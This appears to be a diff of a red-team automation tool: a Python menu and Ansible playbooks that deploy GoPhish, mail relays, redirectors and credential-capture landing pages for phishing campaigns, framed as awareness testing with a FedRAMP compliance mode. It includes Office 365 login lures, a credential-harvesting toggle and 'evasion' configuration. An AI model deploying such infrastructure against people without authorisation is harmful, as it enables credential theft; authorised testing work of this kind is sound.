Phishing Redirector (VPS) | Nginx/socat hides phishing web server
Phishing Web Server | Credential capture backend
Profile Name: Whitelisted Phishing Infra (User Awareness Testing)
Servers:
Gophish Email Server | Sends phishing campaigns directly
Phishing Web Server | Fake login or failure landing page
this needs to also set up firewall rules or security groups to ensure least privilege. I need only the MTA fronting or redirectors accessible to anyone. The main phishing server should only allow the operator to connect and then the main phishing server should be able to access the MTA, Webserver and payload server etc. We need to ensure that things are fully secure. This should be added to the main menu under the phishing server option 9 with sub menus for the different deployment options. This needs to be deployable in any provider so make as much of it provider agnositic. use existing playbooks if it make sense like security hardening etc. I also want this to have the tracker setup as well on any deployment. Make sure to consider the way the tool is built. I want minimal stuff in the deploy.py. As much as possible should be handled with tasks templates and scripts
NOTES:
- I think I need to remove all the security group stuff to the security_hardening yaml
- I dont think I need a tracker on the webserver yaml
- setup_phishing_security.yml seems redundant and AWS only focused
-
-
+59
View File
@@ -0,0 +1,59 @@
---
# Phishing Infrastructure Cleanup Playbook
- name: Clean up phishing infrastructure
hosts: localhost
gather_facts: false
connection: local
vars_files:
- vars.yaml
vars:
deployment_id: "{{ deployment_id | default('') }}"
confirm_cleanup: "{{ confirm_cleanup | default(true) }}"
tasks:
- name: Load deployment state
include_vars:
file: "phishing_deployment_state_{{ deployment_id }}.json"
register: deployment_state
ignore_errors: yes
- name: Show cleanup information
debug:
msg: |
************************************************
* PHISHING CLEANUP OPERATION *
************************************************
The following resources will be DELETED PERMANENTLY:
- MTA Front: {{ mta_front_name | default('mta-' + deployment_id) }}
- GoPhish Server: {{ gophish_server_name | default('gp-' + deployment_id) }}
- Phishing Web Server: {{ phishing_web_name | default('pw-' + deployment_id) }}
- Phishing Redirector: {{ phishing_redirector_name | default('phr-' + deployment_id) }}
{% if cleanup_payload_infra | default(false) %}
- Payload Server: {{ payload_server_name | default('ps-' + deployment_id) }}
- Payload Redirector: {{ payload_redirector_name | default('pr-' + deployment_id) }}
{% endif %}
when: confirm_cleanup | bool
- name: Confirm cleanup operation
pause:
prompt: "\n>>> Type 'yes' to confirm deletion or press Ctrl+C to abort <<<"
register: confirmation
when: confirm_cleanup | bool
- name: Skip cleanup if not confirmed
meta: end_play
when: confirm_cleanup | bool and confirmation.user_input != 'yes'
- name: Run provider-specific cleanup
include_tasks: "../{{ provider | upper }}/cleanup.yml"
vars:
cleanup_redirector: true
cleanup_c2: true
cleanup_tracker: false
redirector_name: "{{ phishing_redirector_name }}"
c2_name: "{{ gophish_server_name }}"
- name: Remove deployment state file
file:
path: "phishing_deployment_state_{{ deployment_id }}.json"
state: absent
+546
View File
@@ -0,0 +1,546 @@
#!/usr/bin/env python3
"""
Phishing infrastructure deployment module
"""
import os
import sys
import logging
# Add the project root to the path so we can import utils
sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..'))
from utils.common import (
COLORS, clear_screen, print_banner, generate_deployment_id,
setup_logging, get_public_ip, confirm_action, wait_for_input,
archive_old_logs
)
from utils.provider_utils import select_provider, gather_provider_config
from utils.ssh_utils import generate_ssh_key
from utils.naming_utils import get_deployment_name_with_options
def gather_phishing_parameters():
"""Collect parameters specific to phishing deployments"""
clear_screen()
print_banner()
print(f"{COLORS['WHITE']}PHISHING INFRASTRUCTURE SETUP{COLORS['RESET']}")
print(f"{COLORS['WHITE']}=============================={COLORS['RESET']}")
config = {}
# Generate deployment ID
config['deployment_id'] = generate_deployment_id()
print(f"Deployment ID: {COLORS['CYAN']}{config['deployment_id']}{COLORS['RESET']}")
# Provider selection
provider = select_provider()
if not provider:
return None
config['provider'] = provider
# Get provider-specific configuration
provider_config = gather_provider_config(provider)
if not provider_config:
return None
config.update(provider_config)
# Phishing-specific configuration
print(f"\n{COLORS['BLUE']}Phishing Configuration{COLORS['RESET']}")
# Domain configuration
phishing_domain = input(f"Phishing domain (aged domain recommended) [required]: ")
if not phishing_domain:
print(f"{COLORS['RED']}A domain is required for phishing deployments{COLORS['RESET']}")
return None
# Set all domain variables for compatibility
config['phishing_domain'] = phishing_domain
config['primary_domain'] = phishing_domain # For compatibility with existing playbooks
config['domain'] = phishing_domain # For compatibility
# Subdomain configuration
config['mta_hostname'] = input(f"MTA hostname [default: mail.{phishing_domain}]: ") or f"mail.{phishing_domain}"
config['phishing_hostname'] = input(f"Phishing hostname [default: portal.{phishing_domain}]: ") or f"portal.{phishing_domain}"
# Instance naming
print(f"\n{COLORS['BLUE']}Instance Naming{COLORS['RESET']}")
# MTA Front naming
config['mta_name'] = get_deployment_name_with_options(
deployment_type='phishing',
component_type='MTA Front Server',
default_suffix='mta'
)
# GoPhish server naming
config['gophish_name'] = get_deployment_name_with_options(
deployment_type='phishing',
component_type='GoPhish Server',
default_suffix='gophish'
)
# Phishing redirector naming
config['phishing_redirector_name'] = get_deployment_name_with_options(
deployment_type='phishing',
component_type='Phishing Redirector',
default_suffix='redirector'
)
# Phishing webserver naming
config['phishing_webserver_name'] = get_deployment_name_with_options(
deployment_type='phishing',
component_type='Phishing Webserver',
default_suffix='webserver'
)
# MTA Authentication
config['smtp_auth_user'] = input("SMTP auth username [default: admin]: ") or "admin"
config['smtp_auth_pass'] = input("SMTP auth password [default: random]: ") or None
# GoPhish configuration
config['gophish_admin_port'] = input("GoPhish admin port [default: 8090]: ") or "8090"
# Campaign configuration
config['campaign_name'] = input("Campaign name [default: test-campaign]: ") or "test-campaign"
config['sender_name'] = input("Sender display name [default: IT Support]: ") or "IT Support"
config['sender_email'] = f"noreply@{config['phishing_domain']}"
# Template selection
print(f"\n{COLORS['BLUE']}Email Template Selection:{COLORS['RESET']}")
print(f"1) Office 365 Login")
print(f"2) Password Expiration")
print(f"3) Security Alert")
print(f"4) File Share Notification")
print(f"5) Custom Template")
template_choice = input("Select template [default: 1]: ") or "1"
templates = {
"1": "office365_login",
"2": "password_expiry",
"3": "security_alert",
"4": "file_share",
"5": "custom"
}
config['email_template'] = templates.get(template_choice, "office365_login")
# If custom template, get details
if config['email_template'] == 'custom':
config['custom_template_name'] = input("Custom template name: ")
config['custom_subject'] = input("Email subject line: ")
config['custom_sender'] = input("Sender email/name: ")
# Security settings
print(f"\n{COLORS['BLUE']}Security Settings:{COLORS['RESET']}")
config['enable_credential_harvesting'] = confirm_action("Enable credential harvesting?", default=True)
config['enable_attachment_tracking'] = confirm_action("Enable attachment tracking?", default=True)
config['enable_link_tracking'] = confirm_action("Enable link click tracking?", default=True)
# Email for Let's Encrypt
default_email = f"admin@{config['phishing_domain']}"
config['letsencrypt_email'] = input(f"Email for Let's Encrypt [default: {default_email}]: ") or default_email
# Get operator IP for security
suggested_ip = get_public_ip()
if suggested_ip:
operator_ip = input(f"Your public IP for admin access [detected: {suggested_ip}]: ") or suggested_ip
else:
operator_ip = input("Your public IP for admin access: ")
config['operator_ip'] = operator_ip
# SSH key generation
ssh_key_path = generate_ssh_key(config['deployment_id'])
if not ssh_key_path:
print(f"{COLORS['RED']}Failed to generate SSH key{COLORS['RESET']}")
return None
config['ssh_key_path'] = f"{ssh_key_path}.pub"
# Post-deployment options
config['ssh_after_deploy'] = confirm_action("SSH into instance after deployment?", default=True)
config['open_admin_panel'] = confirm_action("Open GoPhish admin panel after deployment?", default=True)
return config
def phishing_menu():
"""Display the phishing submenu and handle user selection"""
while True:
clear_screen()
print_banner()
print(f"{COLORS['WHITE']}PHISHING INFRASTRUCTURE MENU{COLORS['RESET']}")
print(f"{COLORS['WHITE']}============================{COLORS['RESET']}")
print(f"1) Basic Phishing Setup {COLORS['GREEN']}*RECOMMENDED*{COLORS['RESET']} {COLORS['GRAY']}(MTA + GoPhish){COLORS['RESET']}")
print(f"2) GoPhish Server Only {COLORS['GRAY']}(Campaign management only){COLORS['RESET']}")
print(f"3) Phishing Web Server Only {COLORS['GRAY']}(Landing pages only){COLORS['RESET']}")
print(f"4) MTA Front Server Only {COLORS['GRAY']}(Email sending only){COLORS['RESET']}")
print(f"5) Advanced Phishing Setup {COLORS['GRAY']}(MTA + GoPhish + Redirector){COLORS['RESET']}")
print(f"6) Phishing Redirector Only {COLORS['GRAY']}(Traffic redirection only){COLORS['RESET']}")
print(f"7) Ephemeral MTA Setup {COLORS['GRAY']}(Temporary email infrastructure){COLORS['RESET']}")
print(f"8) Full Phishing Infrastructure {COLORS['GRAY']}(Complete multi-tier setup){COLORS['RESET']}")
print(f"9) FedRAMP Compliant Phishing {COLORS['GRAY']}(Compliance-focused setup){COLORS['RESET']}")
print(f"99) Return to Main Menu")
choice = input(f"\nSelect an option: ")
if choice == "1":
deploy_basic_phishing()
elif choice == "2":
deploy_gophish_only()
elif choice == "3":
deploy_phishing_webserver_only()
elif choice == "4":
deploy_mta_front_only()
elif choice == "5":
deploy_advanced_phishing()
elif choice == "6":
deploy_phishing_redirector_only()
elif choice == "7":
deploy_ephemeral_mta()
elif choice == "8":
deploy_full_phishing()
elif choice == "9":
deploy_fedramp_phishing()
elif choice == "99":
return
else:
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
wait_for_input()
def deploy_gophish_only():
"""Deploy GoPhish server only"""
config = gather_phishing_parameters()
if not config:
return
config['deployment_type'] = 'gophish_only'
config['deploy_gophish'] = True
print(f"\n{COLORS['GREEN']}Deploying GoPhish server only...{COLORS['RESET']}")
execute_phishing_deployment(config)
def deploy_mta_front_only():
"""Deploy MTA front server only"""
config = gather_phishing_parameters()
if not config:
return
config['deployment_type'] = 'mta_front_only'
config['deploy_mta_front'] = True
print(f"\n{COLORS['GREEN']}Deploying MTA front server only...{COLORS['RESET']}")
execute_phishing_deployment(config)
def deploy_phishing_webserver_only():
"""Deploy phishing web server only"""
config = gather_phishing_parameters()
if not config:
return
config['deployment_type'] = 'phishing_webserver_only'
config['deploy_phishing_webserver'] = True
print(f"\n{COLORS['GREEN']}Deploying phishing web server only...{COLORS['RESET']}")
execute_phishing_deployment(config)
def deploy_phishing_redirector_only():
"""Deploy phishing redirector only"""
config = gather_phishing_parameters()
if not config:
return
config['deployment_type'] = 'phishing_redirector_only'
config['deploy_phishing_redirector'] = True
print(f"\n{COLORS['GREEN']}Deploying phishing redirector only...{COLORS['RESET']}")
execute_phishing_deployment(config)
def deploy_basic_phishing():
"""Deploy basic phishing setup (MTA + GoPhish)"""
config = gather_phishing_parameters()
if not config:
return
config['deployment_type'] = 'basic_phishing'
config['deploy_mta_front'] = True
config['deploy_gophish'] = True
print(f"\n{COLORS['GREEN']}Deploying basic phishing infrastructure...{COLORS['RESET']}")
execute_phishing_deployment(config)
def deploy_advanced_phishing():
"""Deploy advanced phishing setup (MTA + GoPhish + Redirector)"""
config = gather_phishing_parameters()
if not config:
return
config['deployment_type'] = 'advanced_phishing'
config['deploy_mta_front'] = True
config['deploy_gophish'] = True
config['deploy_phishing_redirector'] = True
print(f"\n{COLORS['GREEN']}Deploying advanced phishing infrastructure...{COLORS['RESET']}")
execute_phishing_deployment(config)
def deploy_full_phishing():
"""Deploy full phishing infrastructure"""
config = gather_phishing_parameters()
if not config:
return
config['deployment_type'] = 'full_phishing'
config['deploy_mta_front'] = True
config['deploy_gophish'] = True
config['deploy_phishing_redirector'] = True
config['deploy_phishing_webserver'] = True
config['deploy_tracker'] = True
print(f"\n{COLORS['GREEN']}Deploying full phishing infrastructure...{COLORS['RESET']}")
execute_phishing_deployment(config)
def deploy_fedramp_phishing():
"""Deploy FedRAMP compliant phishing infrastructure"""
config = gather_phishing_parameters()
if not config:
return
# FedRAMP specific configuration
clear_screen()
print_banner()
print(f"{COLORS['WHITE']}FEDRAMP COMPLIANCE CONFIGURATION{COLORS['RESET']}")
print(f"{COLORS['WHITE']}==================================={COLORS['RESET']}")
# Compliance requirements
print(f"\n{COLORS['BLUE']}FedRAMP Compliance Requirements:{COLORS['RESET']}")
print(f"• Immediate disclosure of phishing attempts")
print(f"• Comprehensive audit logging")
print(f"• Compliance notification requirements")
print(f"• Mandatory log retention")
# Immediate disclosure (required for FedRAMP)
config['immediate_disclosure'] = True
print(f"\n{COLORS['YELLOW']}Immediate disclosure is REQUIRED for FedRAMP compliance{COLORS['RESET']}")
# Authorization reference for documentation
auth_reference = input(f"Authorization reference/ticket number [optional]: ") or "Pre-authorized FedRAMP exercise"
config['authorization_reference'] = auth_reference
# Log retention period
retention_days = input(f"Log retention period in days [default: 90]: ") or "90"
try:
config['log_retention_days'] = int(retention_days)
except ValueError:
config['log_retention_days'] = 90
# Audit logging level
print(f"\n{COLORS['BLUE']}Audit Logging Level:{COLORS['RESET']}")
print(f"1) Basic (Login attempts, email sends)")
print(f"2) Detailed (+ IP addresses, user agents)")
print(f"3) Comprehensive (+ full request logs)")
log_level = input(f"Select logging level [default: 3]: ") or "3"
log_levels = {"1": "basic", "2": "detailed", "3": "comprehensive"}
config['audit_log_level'] = log_levels.get(log_level, "comprehensive")
# Compliance mode settings
config['fedramp_mode'] = True
config['compliance_mode'] = True
config['deployment_type'] = 'fedramp_phishing'
config['deploy_gophish'] = True
config['deploy_phishing_webserver'] = True
config['deploy_tracker'] = True
config['enable_audit_logging'] = True
# Debug options
config['debug_mode'] = confirm_action("Enable debug mode (extra verbose Ansible output)?", default=True)
print(f"\n{COLORS['GREEN']}Deploying FedRAMP compliant phishing infrastructure...{COLORS['RESET']}")
execute_phishing_deployment(config)
def deploy_ephemeral_mta():
"""Deploy ephemeral MTA for high OPSEC phishing"""
config = gather_phishing_parameters()
if not config:
return
# Additional ephemeral MTA configuration
print(f"\n{COLORS['BLUE']}Ephemeral MTA Configuration{COLORS['RESET']}")
print(f"{COLORS['YELLOW']}Note: Ephemeral MTAs are designed for short-term use{COLORS['RESET']}")
config['deployment_type'] = 'ephemeral_mta'
config['ephemeral_mta'] = True
config['deploy_mta_front'] = True
# Auto-destruct timer
auto_destruct = confirm_action("Enable auto-destruct timer?", default=False)
if auto_destruct:
hours = input("Auto-destruct after how many hours [default: 24]: ") or "24"
config['auto_destruct_hours'] = int(hours)
print(f"\n{COLORS['GREEN']}Deploying ephemeral MTA...{COLORS['RESET']}")
execute_phishing_deployment(config)
def execute_phishing_deployment(config):
"""Execute phishing infrastructure deployment"""
clear_screen()
print_banner()
print(f"\n{COLORS['GREEN']}Starting phishing deployment...{COLORS['RESET']}")
# Archive old logs before starting new deployment
print(f"Archiving old logs...")
archive_old_logs(max_logs_to_keep=5) # Keep last 5 deployments
# Set up logging
log_file = setup_logging(config['deployment_id'], "phishing_deployment")
# Display configuration summary
print(f"\n{COLORS['CYAN']}Deployment Summary:{COLORS['RESET']}")
print(f"Deployment Type: {config['deployment_type']}")
print(f"Deployment ID: {config['deployment_id']}")
print(f"Provider: {config['provider']}")
print(f"Domain: {config['phishing_domain']}")
print(f"Email Template: {config.get('email_template', 'N/A')}")
print(f"MTA Hostname: {config.get('mta_hostname', 'N/A')}")
if config.get('fedramp_mode'):
print(f"FedRAMP Mode: {COLORS['YELLOW']}ENABLED{COLORS['RESET']}")
print(f"Authorization Reference: {config.get('authorization_reference', 'N/A')}")
print(f"Audit Level: {config.get('audit_log_level', 'N/A')}")
# Confirm deployment
if not confirm_action(f"\n{COLORS['YELLOW']}Proceed with phishing deployment?{COLORS['RESET']}", default=False):
print(f"\n{COLORS['YELLOW']}Deployment cancelled.{COLORS['RESET']}")
return
# Mark this as a phishing deployment for the deployment engine
config['phishing_deployment'] = True
# Execute the actual deployment using component-based approach
success = execute_component_deployment(config)
if success:
print(f"\n{COLORS['GREEN']}✅ Phishing infrastructure deployed successfully!{COLORS['RESET']}")
if config.get('ssh_after_deploy'):
from utils.ssh_utils import ssh_to_instance
ssh_to_instance(config)
else:
print(f"\n{COLORS['RED']}❌ Phishing infrastructure deployment failed.{COLORS['RESET']}")
wait_for_input()
def execute_component_deployment(config):
"""Execute component-based phishing deployment"""
import subprocess
import os
print(f"\n{COLORS['BLUE']}Executing phishing deployment: {config['deployment_type']}{COLORS['RESET']}")
# Provider directory mapping
provider_dirs = {
"aws": "AWS",
"linode": "Linode",
"flokinet": "FlokiNET"
}
# Component playbook mapping
component_playbooks = {
'deploy_mta_front': os.path.join(os.path.dirname(__file__), 'mta_front.yml'),
'deploy_gophish': os.path.join(os.path.dirname(__file__), '..', '..', 'providers', provider_dirs[config['provider']], 'c2.yml'),
'deploy_phishing_redirector': os.path.join(os.path.dirname(__file__), '..', '..', 'providers', provider_dirs[config['provider']], 'redirector.yml'),
'deploy_phishing_webserver': os.path.join(os.path.dirname(__file__), 'phishing_webserver.yml'),
}
# Build extra vars for ansible as JSON (safe for special chars)
import json as _json
import tempfile as _tempfile
extra_vars_dict = {}
for key, value in config.items():
if isinstance(value, (str, int, bool)):
extra_vars_dict[key] = value
deployed_components = []
try:
# Deploy each enabled component
for component, playbook_path in component_playbooks.items():
if config.get(component, False):
print(f"\n{COLORS['YELLOW']}Deploying {component.replace('deploy_', '')}...{COLORS['RESET']}")
# Check if playbook exists
if not os.path.exists(playbook_path):
print(f"{COLORS['RED']}Error: Playbook not found: {playbook_path}{COLORS['RESET']}")
continue
# Write vars to temp file (avoids CLI exposure)
_vars_file = _tempfile.NamedTemporaryFile(
mode='w', suffix='.json', prefix='phish_vars_',
delete=False
)
_json.dump(extra_vars_dict, _vars_file)
_vars_file.close()
os.chmod(_vars_file.name, 0o600)
# Build ansible command
cmd = [
'ansible-playbook',
playbook_path,
'--extra-vars',
f'@{_vars_file.name}'
]
print(f"{COLORS['GRAY']}Running: ansible-playbook {os.path.basename(playbook_path)}{COLORS['RESET']}")
# Execute playbook
result = subprocess.run(cmd, capture_output=True, text=True, cwd=os.path.dirname(__file__))
# Clean up temp vars file
try:
os.unlink(_vars_file.name)
except OSError:
pass
if result.returncode == 0:
print(f"{COLORS['GREEN']}{component.replace('deploy_', '')} deployed successfully{COLORS['RESET']}")
deployed_components.append(component)
else:
print(f"{COLORS['RED']}{component.replace('deploy_', '')} deployment failed{COLORS['RESET']}")
print(f"{COLORS['RED']}STDERR: {result.stderr}{COLORS['RESET']}")
return False
# Deploy the orchestration playbook to save state
print(f"\n{COLORS['YELLOW']}Saving deployment state...{COLORS['RESET']}")
orchestration_playbook = os.path.join(os.path.dirname(__file__), 'deploy_phishing_infrastructure.yml')
_orch_vars_file = _tempfile.NamedTemporaryFile(
mode='w', suffix='.json', prefix='phish_orch_',
delete=False
)
_json.dump(extra_vars_dict, _orch_vars_file)
_orch_vars_file.close()
os.chmod(_orch_vars_file.name, 0o600)
cmd = [
'ansible-playbook',
orchestration_playbook,
'--extra-vars',
f'@{_orch_vars_file.name}'
]
result = subprocess.run(cmd, capture_output=True, text=True, cwd=os.path.dirname(__file__))
try:
os.unlink(_orch_vars_file.name)
except OSError:
pass
if result.returncode == 0:
print(f"{COLORS['GREEN']}✅ Deployment state saved{COLORS['RESET']}")
return True
else:
print(f"{COLORS['RED']}❌ Failed to save deployment state{COLORS['RESET']}")
print(f"{COLORS['RED']}STDERR: {result.stderr}{COLORS['RESET']}")
return False
except Exception as e:
print(f"{COLORS['RED']}Deployment error: {str(e)}{COLORS['RESET']}")
return False
if __name__ == "__main__":
phishing_menu()
@@ -0,0 +1,155 @@
---
# Main phishing infrastructure deployment playbook
# Handles all deployment types and orchestrates component deployment
- name: Deploy phishing infrastructure
hosts: 127.0.0.1
gather_facts: true # Enable to get ansible_date_time
connection: local
vars:
deployment_id: "{{ deployment_id | default('') }}"
provider: "{{ provider | default('aws') }}"
deployment_type: "{{ deployment_type | default('phishing_only_noccdn') }}"
# Provider directory mapping
provider_dirs:
aws: "AWS"
linode: "Linode"
flokinet: "FlokiNET"
tasks:
- name: Validate deployment configuration
assert:
that:
- deployment_id != ""
- provider != ""
- deployment_type != ""
fail_msg: "Missing required deployment parameters"
- name: Display deployment information
debug:
msg:
- "Phishing Infrastructure Deployment"
- "=================================="
- "Deployment ID: {{ deployment_id }}"
- "Provider: {{ provider }}"
- "Deployment Type: {{ deployment_type }}"
- "Phishing Domain: {{ phishing_domain | default('N/A') }}"
# Phase 1: Deploy core infrastructure components
# Note: This playbook is orchestrated by deploy_phishing.py which calls individual provider playbooks
# The actual infrastructure deployment is handled by provider-specific playbooks:
# - providers/AWS/c2.yml for GoPhish/C2 servers
# - providers/AWS/redirector.yml for redirectors
# - providers/Linode/c2.yml, providers/Linode/redirector.yml for Linode
# - modules/phishing/mta_front.yml for MTA front servers
- name: Deploy MTA Front server
debug:
msg: "🚀 Executing MTA Front deployment: mta_front.yml with server_name=mta-{{ deployment_id }}"
when: deploy_mta_front | default(false) | bool
- name: Deploy Gophish server
debug:
msg: "🚀 Executing Gophish C2 deployment: ../../providers/{{ provider }}/c2.yml with c2_name=gophish-{{ deployment_id }}"
when: deploy_gophish | default(false) | bool
- name: Deploy phishing redirector
debug:
msg: "🚀 Executing redirector deployment: ../../providers/{{ provider }}/redirector.yml with redirector_name=redirector-{{ deployment_id }}"
when: deploy_phishing_redirector | default(false) | bool
- name: Deploy phishing web server
debug:
msg: "🚀 Executing web server deployment: phishing_webserver.yml with server_name=web-{{ deployment_id }}"
when: deploy_phishing_webserver | default(false) | bool
# Optional payload infrastructure - commented out for basic phishing deployments
# - name: Deploy payload redirector
# debug:
# msg:
# - "🔧 Payload redirector deployment"
# - "Server Name: payload-redir-{{ deployment_id }}"
# - "✅ Executes: providers/{{ provider }}/redirector.yml"
# when: deploy_payload_redirector | default(false) | bool
# - name: Deploy payload server
# debug:
# msg:
# - "🔧 Payload server deployment"
# - "Server Name: payload-{{ deployment_id }}"
# - "✅ Executes: modules/payload-server/tasks/configure_payload_server.yml"
# when: deploy_payload_server | default(false) | bool
# Phase 2: Deploy C2 infrastructure if requested (optional)
# - name: Deploy C2 redirector
# debug:
# msg:
# - "🔧 C2 redirector deployment"
# - "Server Name: c2-redir-{{ deployment_id }}"
# - "✅ Executes: providers/{{ provider }}/redirector.yml"
# when: deploy_c2_redirector | default(false) | bool
# - name: Deploy C2 backend
# debug:
# msg:
# - "🔧 C2 backend deployment"
# - "Server Name: c2-backend-{{ deployment_id }}"
# - "✅ Executes: providers/{{ provider }}/c2.yml"
# when: deploy_c2_backend | default(false) | bool
# Phase 3: Configure security groups and firewall rules
- name: Configure phishing security
include_tasks: "tasks/setup_phishing_security.yml"
vars:
deployment_components:
mta_front: "{{ deploy_mta_front | default(false) }}"
gophish: "{{ deploy_gophish | default(false) }}"
phishing_redirector: "{{ deploy_phishing_redirector | default(false) }}"
phishing_webserver: "{{ deploy_phishing_webserver | default(false) }}"
payload_redirector: "{{ deploy_payload_redirector | default(false) }}"
payload_server: "{{ deploy_payload_server | default(false) }}"
when: false # Disable for now since security task doesn't exist
# Phase 4: Save deployment state
- name: Ensure logs directory exists
file:
path: "../../logs"
state: directory
mode: '0755'
- name: Save phishing deployment state
template:
src: "templates/phishing_deployment_state.j2"
dest: "{{ playbook_dir }}/logs/phishing_deployment_{{ deployment_id }}.json"
mode: '0600'
vars:
deployment_components:
mta_front: "{{ deploy_mta_front | default(false) }}"
gophish: "{{ deploy_gophish | default(false) }}"
phishing_redirector: "{{ deploy_phishing_redirector | default(false) }}"
phishing_webserver: "{{ deploy_phishing_webserver | default(false) }}"
payload_redirector: "{{ deploy_payload_redirector | default(false) }}"
payload_server: "{{ deploy_payload_server | default(false) }}"
deployment_info:
deployment_id: "{{ deployment_id }}"
deployment_type: "{{ deployment_type }}"
provider: "{{ provider }}"
components: "{{ deployment_components }}"
domains:
phishing: "{{ phishing_domain | default('N/A') }}"
created: "{{ ansible_date_time.iso8601 }}"
ignore_errors: true # Continue if template fails
- name: Display deployment summary
debug:
msg:
- "Phishing Infrastructure Deployment Complete!"
- "==========================================="
- "Deployment Type: {{ deployment_type }}"
- "Phishing Domain: {{ phishing_domain }}"
- "Components Deployed:"
- " - GoPhish: {{ deploy_gophish | default(false) }}"
- " - MTA Front: {{ deploy_mta_front | default(false) }}"
- " - Web Server: {{ deploy_phishing_webserver | default(false) }}"
- "Campaign ready to configure!"
when: not disable_summary | default(false)
@@ -0,0 +1,15 @@
class OPSECGoPhish:
def __init__(self):
self.use_gophish_for = ['email_sending', 'template_management']
self.use_custom_for = ['tracking', 'credential_capture', 'reporting']
def send_campaign(self, targets, template):
# Use GoPhish SMTP capabilities
campaign = self.create_minimal_campaign(targets, template)
# But replace tracking with custom implementation
campaign.tracking_url = self.custom_tracker.generate_url()
campaign.landing_page = self.custom_landing.generate()
# Store results in encrypted, distributed storage
self.secure_storage.initialize(campaign.id)
@@ -0,0 +1,198 @@
---
# Advanced Gophish configuration with enhanced evasion and features
- name: Create Gophish user
user:
name: gophish
system: yes
shell: /bin/bash
home: /opt/gophish
create_home: yes
- name: Download latest Gophish release
get_url:
url: "https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip"
dest: /tmp/gophish.zip
mode: '0644'
- name: Extract Gophish
unarchive:
src: /tmp/gophish.zip
dest: /opt/gophish
owner: gophish
group: gophish
remote_src: yes
- name: Install additional packages for advanced features
apt:
name:
- nginx
- certbot
- python3-certbot-nginx
- sqlite3
- jq
- curl
- wget
- php-fpm
- php-sqlite3
- nodejs
- npm
state: present
- name: Configure advanced Gophish settings
template:
src: "../templates/phishing/gophish-advanced-config.j2"
dest: /opt/gophish/config.json
owner: gophish
group: gophish
mode: '0600'
- name: Create enhanced email templates directory
file:
path: /opt/gophish/templates/{{ item }}
state: directory
owner: gophish
group: gophish
mode: '0755'
loop:
- email
- landing
- static
- name: Deploy email templates
template:
src: "../templates/phishing/email-templates/{{ item }}.j2"
dest: "/opt/gophish/templates/email/{{ item }}.html"
owner: gophish
group: gophish
mode: '0644'
loop:
- office365_login
- password_expiry
- security_alert
- file_share
when: not fedramp_mode | default(false) | bool
- name: Deploy FedRAMP compliant templates
template:
src: "../templates/phishing/fedramp-compliance.j2"
dest: "/opt/gophish/templates/email/fedramp_template.html"
owner: gophish
group: gophish
mode: '0644'
when: fedramp_mode | default(false) | bool
- name: Create advanced landing pages
template:
src: "../templates/phishing/phishing-landing-page.j2"
dest: "/opt/gophish/templates/landing/{{ item }}_landing.html"
owner: gophish
group: gophish
mode: '0644'
loop:
- office365
- generic
- fedramp
vars:
template_type: "{{ item }}"
- name: Install enhanced tracking pixel
copy:
src: "../../tracker/files/simple_email_tracker.py"
dest: /opt/gophish/tracker.py
owner: gophish
group: gophish
mode: '0755'
- name: Create Gophish database backup script
template:
src: "../templates/phishing/gophish-backup.sh.j2"
dest: /opt/gophish/backup.sh
owner: gophish
group: gophish
mode: '0755'
- name: Set up database backup cron
cron:
name: "Backup Gophish database"
minute: "0"
hour: "*/6"
job: "/opt/gophish/backup.sh"
user: gophish
- name: Create Gophish systemd service
template:
src: "../templates/phishing/gophish.service.j2"
dest: /etc/systemd/system/gophish.service
mode: '0644'
- name: Enable and start Gophish service
systemd:
name: gophish
state: started
enabled: yes
daemon_reload: yes
- name: Create campaign automation script
template:
src: "../templates/phishing/campaign-automation.py.j2"
dest: /opt/gophish/campaign-automation.py
owner: gophish
group: gophish
mode: '0755'
- name: Install Python dependencies for automation
pip:
name:
- requests
- python-dateutil
- jinja2
state: present
- name: Configure SMTP relay to MTA front
blockinfile:
path: /opt/gophish/config.json
marker: "// {mark} ANSIBLE MANAGED SMTP CONFIG"
block: |
"smtp": {
"host": "{{ mta_front_ip }}:587",
"username": "{{ smtp_relay_user }}",
"password": "{{ smtp_relay_pass }}",
"from": "{{ sender_email }}",
"ignore_cert_errors": true
}
- name: Create phishing metrics dashboard
template:
src: "../templates/phishing/metrics-dashboard.html.j2"
dest: /opt/gophish/static/metrics.html
owner: gophish
group: gophish
mode: '0644'
- name: Set up log aggregation
lineinfile:
path: /etc/rsyslog.conf
line: "local0.* /var/log/gophish.log"
state: present
notify: restart rsyslog
- name: Configure log rotation for Gophish
copy:
dest: /etc/logrotate.d/gophish
content: |
/var/log/gophish.log {
daily
missingok
rotate 30
compress
delaycompress
notifempty
create 0644 gophish gophish
}
handlers:
- name: restart rsyslog
service:
name: rsyslog
state: restarted
@@ -0,0 +1,296 @@
---
# Common tasks for configuring advanced phishing server
# Supports both red team and FedRAMP compliance modes
- name: Update system packages
apt:
update_cache: yes
upgrade: dist
- name: Install base packages for phishing server
apt:
name:
- nginx
- certbot
- python3-certbot-nginx
- postfix
- dovecot-core
- dovecot-imapd
- opendkim
- opendkim-tools
- sqlite3
- git
- curl
- wget
- jq
- unzip
- python3-pip
- python3-venv
- nodejs
- npm
- php-fpm
- php-sqlite3
- php-curl
- php-json
- swaks
- dnsutils
- net-tools
- fail2ban
state: present
- name: Create phishing tools directory
file:
path: "{{ item }}"
state: directory
mode: '0755'
owner: root
group: root
with_items:
- /root/Tools/phishing
- /root/Tools/phishing/templates
- /root/Tools/phishing/campaigns
- /root/Tools/phishing/logs
- /var/www/phishing
- /var/www/phishing/assets
- /var/www/phishing/api
- name: Set up GoPhish directory
file:
path: /root/Tools/gophish
state: directory
mode: '0755'
- name: Download latest GoPhish release
shell: |
LATEST_URL=$(curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url')
curl -L "$LATEST_URL" -o /tmp/gophish.zip
unzip /tmp/gophish.zip -d /root/Tools/gophish
chmod +x /root/Tools/gophish/gophish
rm -f /tmp/gophish.zip
args:
creates: /root/Tools/gophish/gophish
- name: Create advanced GoPhish configuration
template:
src: "../templates/advanced-gophish-config.j2"
dest: "/root/Tools/gophish/config.json"
mode: '0600'
owner: root
group: root
- name: Create GoPhish systemd service
template:
src: "../templates/gophish.service.j2"
dest: "/etc/systemd/system/gophish.service"
mode: '0644'
owner: root
group: root
- name: Configure Postfix for outbound email
template:
src: "../templates/postfix-phishing.conf.j2"
dest: "/etc/postfix/main.cf"
backup: yes
notify: restart postfix
